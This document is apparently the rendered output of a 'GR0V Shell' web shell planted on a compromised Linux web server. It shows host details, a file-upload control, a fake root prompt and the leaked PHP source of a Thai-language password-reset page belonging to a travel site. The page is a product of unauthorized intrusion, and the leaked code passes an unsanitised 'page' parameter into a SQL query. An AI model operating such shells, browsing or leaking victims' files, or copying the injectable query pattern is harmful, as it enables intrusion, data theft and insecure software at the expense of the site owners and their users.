? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/promice/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/promice/ForgetPass.php

<? include("header.php");?>
<div align="center">
        <table width="1000" border="0" cellspacing="0" cellpadding="0">
          <tr valign="top"> 
            <td width="246"><table width="70%" border="0" cellspacing="1" cellpadding="1">
            <tr>
                  <td><div align="center"> <? echo "$showmember"; ?></div></td>
                </tr>
                <tr> 
                  <td><img src="images/web_07.jpg" width="242" height="42" alt=""></td>
                </tr>
                <tr> 
                  <td> 
                    <?
$page = $_GET['page'];
$select_type="select * from productstype  order by id asc";
$query_select=mysql_query($select_type);
$num_rows=mysql_num_rows($query_select);

if($num_rows<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$select="select * from productstype  order by id asc";
		$q_ry = mysql_query($select);
	 	$num_rows=mysql_num_rows($q_ry);
  		$pagesize=20;
		$rt=$num_rows%$pagesize;
		if($rt!=0)
			{
				$totalpage=floor($num_rows/$pagesize)+1;
			}
		else
			{
				$totalpage=floor($num_rows/$pagesize);
				$toppic_id=1;
			}
		if(empty($page))
			{
				$page=1;
			}
		mysql_free_result($q_ry);
		$goto=($page-1)*$pagesize;
$sql_select_mem="Select * From productstype  order by id asc limit $goto,$pagesize";
		$fect=mysql_query($sql_select_mem);
		if(!$fect)
		{
		("ติดต่อฐานข้อมูลไม่ได้".mysql_error());
		exit;
		}

	  $bgcount=0;
	while($rows=mysql_fetch_array($fect))
	{
$idx =$rows['id'];
$productstypecode  =$rows['productstypecode'];
$productstypename = $rows['productstypename'];
$bgcount=$bgcount+1;
$bgmod=$bgcount%2;
if($bgmod==0){
	$bgcolor="#E9E9E8";
}else{
	$bgcolor="#FFFFFF";
}

$s_num="select * from products where productstypecode = '$productstypecode'";
$query_select_num=mysql_query($s_num);
$snum=mysql_num_rows($query_select_num);
	?>
                    <table width="100%" border="0" cellspacing="1" cellpadding="1">
                      <tr> 
                        <td height="23"> <div align="left"></div>
                          <div align="left"></div>
                          <div align="center"> </div>
                          <div align="left"><img src="images/opened.gif" width="17" height="17"> 
                            <? echo "<a href=ProductList.php?PRD=$productstypecode>$productstypename</a> ($snum)"; ?></div></td>
                      </tr>
                      <tr> 
                        <td height="5"><img src="images/inline.jpg" width="184" height="3"></td>
                      </tr>
                    </table>
                    <?
}
}
?>                  </td>
                </tr>
            </table></td>
      <td width="639"><script language="JavaScript">
function checkEmail()
{
      var e1 = document.webFormEmail.email.value;

  if( e1.length ==0)
           {
           alert("กรุณาใส่ Email Address ด้วยค่ะ");
           document.webFormEmail.email.focus();           
           return false;
           }
         else
           return true;
}

				  	function chkEmail(){
					if(document.webFormEmail.email.value!=""){
						if (document.webFormEmail.email.value.match(/.+@.+\..+/) == null) {
							alert("กรุณากรอก E-Mail ให้ถูกต้อง");
							document.webFormEmail.email.focus();
						  }
						}  
					}
</script> <table width="533" border="0" cellspacing="1" cellpadding="1">
                <form method="post" action="ForgetPassSend.php" name="webFormEmail" onSubmit="return checkEmail()">
                  <tr> 
                    <td colspan="2"><br> <strong>** 
                      กรณีลืมรหัสผ่าน? **<br>
                      </strong> ระบบจะทำการ Reset Password 
                      ให้ทางสมาชิกใหม่ เมื่อคำร้องถูกส่งเรียบร้อยแล้ว</td>
                  </tr>
                  <tr> 
                    <td width="170"><div align="right">Email 
                        Address :</div></td>
                    <td width="356"><input name="email" type="text" class="inputxx" id="email" size=50 / onblur="chkEmail()"></td>
                  </tr>
                  <tr> 
                    <td><div align="right"></div></td>
                    <td><input name="submit" type="submit" class="submitxx" value="ยืนยันการขอรหัสผ่านทางอีเมล์"></td>
                  </tr>
                </form>
              </table>
            <br> <br> <br> </td>
            <td width="509"><br>
            <br> <br> </td>
          </tr>
        </table>
</div></td>

  </tr>
</table><? include("footer.php");?>

</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$